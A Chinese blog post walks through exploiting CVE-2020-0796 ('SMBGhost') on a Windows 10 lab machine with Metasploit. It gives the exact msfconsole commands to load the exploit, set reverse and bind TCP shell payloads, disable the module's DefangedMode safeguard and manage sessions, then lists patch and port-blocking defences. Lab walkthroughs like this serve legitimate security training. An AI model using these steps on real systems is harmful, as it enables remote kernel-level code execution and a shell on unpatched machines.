CVE-2020-0796:永恒之黑实战学习

CVE-2020-0796:永恒之黑实战学习

1.背景:

  1. 漏洞名称:CVE-2020-0796,又称"SMBGhost"或"永恒之黑"。
  2. 影响范围:Windows 10(1903/1909版本)及Windows Server 2019/2016(部分版本)。
  3. 协议相关:SMBv3.1.1协议(Server Message Block,用于文件/打印机共享)。
  4. 触发条件:SMBv3服务启用(默认开启);攻击者需与目标建立SMB连接(通常通过445端口)。
  5. 实战背景:使用kali2024.02的metasploit攻击靶机win10 1903版本,靶机已开启smb并关闭防火墙,kali和靶机处于同一个局域网,网络互通

2.原理

  1. 概要:解压过程中未正确验证数据包长度,导致缓冲区溢出
  2. 细节:伪造OriginalSize:将OriginalSize字段设置为一个较小的值(如0),诱使系统分配较小的缓冲区。构造压缩数据:压缩后的数据被精心设计,使其解压后的大小远大于OriginalSize。触发溢出:解压过程将大量数据写入缓冲区,导致缓冲区溢出。通过构造恶意数据包覆盖相邻内存,可能实现内核级代码执行(因SMB驱动运行在内核模式)。

注意:

  1. OriginalSize:原始数据大小。
  2. CompressedSize:压缩后数据大小。

3.实战

3.1 运行metasploit

复制代码
msfdb run

3.2 查找永恒之黑模块并加载模块

复制代码
search cve:CVE-2020-0796
use 3

3.3 查看模块详情

复制代码
options

注:

  1. 发现攻击载荷payload需要切换至我们熟悉的shell
  2. 需要指定攻击目标IP地址:RHOSTS

3.4 查找合适的payload并切换,然后指定目标ip地址(渗透后反向连接reverse_tcp)

复制代码
search type:payload path:shell name:windows x64
set payload payload/windows/x64/shell/reverse_tcp
set rhosts 192.168.1.178
options

3.5 改控制模式为温和

复制代码
set DefangedMode false

注意:

  1. DefangedMode的默认值为true,温和,这是一种安全措施,防止用户意外对目标系统造成损害。
  2. CVE-2020-0796的漏洞利用模块(exploit/windows/smb/cve_2020_0796_smbghost)需要发送特制的恶意数据包来触发缓冲区溢出,进而执行Payload。如果DefangedMode为true,模块不会发送这些数据包,导致漏洞利用失败。如:

3.6 开始攻击(方式一)

复制代码
run      # 直接执行

注意:

  1. 到此已经渗透成功
  2. ctrl+c退出
  3. 有可能会乱码,可以执行 chcp 65001 如:

3.7 开始攻击(方式二)

复制代码
run -j

#执行成功后查看方式
sessions
session -i 2

3.8 退出且会话继续挂后台

复制代码
background

3.9 删除会话

复制代码
sessions -k 2

sessions -K    # 删除所有会话(大写K)

3.10 尝试渗透后正向连接(bind_tcp)

复制代码
search type:payload name:window x64 path:shell path:bind_tcp
set payload payload/windows/x64/shell/bind_tcp
set rhosts 192.168.1.178
options
run

注意:

  1. 跟反向连接攻击方式一致,只剩正向连接是渗透后攻击机向目标机发起连接,而反向连接是渗透后由目标机向攻击机发起连接
  2. 连接目标的端口需要目标机的防火墙开放,如图中的LPORT 4444

4.防御技术原理

  1. 关闭SMBv3服务:禁用SMBv3服务,可以阻止攻击者利用永恒之黑漏洞进行攻击。
  2. 关闭445端口或者用防火墙拦截445端口的所有请求,防止攻击者利用445端口进行攻击。
  3. 下载补丁修复漏洞:安装Windows补丁KB4551762,修复永恒之黑漏洞。
相关推荐
2401_895610826 分钟前
3.24学习总结Java
学习
name_S5631 分钟前
尝试在软考62天前开始成为软件设计师-信息系统安全
学习·安全·系统安全
落雨封海1 小时前
STM32/GD32主要学习内容
stm32·单片机·学习
HyperAI超神经1 小时前
【TVM教程】使用 TVMC Micro 执行微模型
人工智能·python·深度学习·学习·教程·gpu·tvm
庭前云落1 小时前
从零开始的 Kafka 学习(四)| 生产消息
学习·kafka·linq
liang_20261 小时前
2.27省选模拟赛补题记录:直径(容斥,树形dp,换根dp)
笔记·学习·算法
大河之J天上来2 小时前
攻破tensorflow,勇创最佳agent(1)---学习率learning_rate问题
人工智能·学习·tensorflow
傍晚冰川2 小时前
【江协科技STM32】BKP备寄存器&RTC实时时钟(学习笔记)
笔记·科技·stm32·单片机·嵌入式硬件·学习·实时音视频
风筝有风+2 小时前
学习应用层
服务器·网络·学习
Honeysea_702 小时前
网络编程的概念&作用
网络·网络协议·计算机网络·网络安全·架构